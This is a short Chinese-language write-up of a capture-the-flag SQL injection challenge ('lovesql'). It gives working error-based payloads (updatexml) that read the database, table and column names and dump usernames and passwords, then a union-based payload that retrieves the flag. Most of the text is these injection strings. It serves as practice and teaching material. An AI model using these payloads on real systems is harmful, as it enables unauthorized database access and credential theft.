今天我们来解决一下极客大挑战的lovesql题目
通过输入单引号得到账号和密码都是由单引号包裹
尝试输入一个恒等式,得到账号密码,但并未出现flag,尝试输入账号密码也得到相同页面
之后按照流程开始爆库名 1' and updatexml(1,concat(0x7e,database(),0x7e),1) #
得到库名为 geek
爆表名 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'geek'),0x7e),1)#
得到表名为 geekuser,l0ve1ysq1
爆列名 1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'geek' and table_name='geekuser'),0x7e),1)#
得到列名为 id,username,password
最后爆数据 1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from geekuser),0x7e),1)#
在这里我们会看到我们查询到的数据和最开始查询到的数据相同,但是我们在爆表名的时候一共爆出了两张表名,所以我们可以尝试爆出另一张表名的数据
1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from l0ve1ysq1),0x7e),1)#
显示仅支持常量 XPATH 查询,于是我们换一种查询语句1' union select 1,group_concat(username),group_concat(password) from geek.l0ve1ysq1-- +
成功得到flag,由于页面显示问题我们可以在检查中查看源码得到flag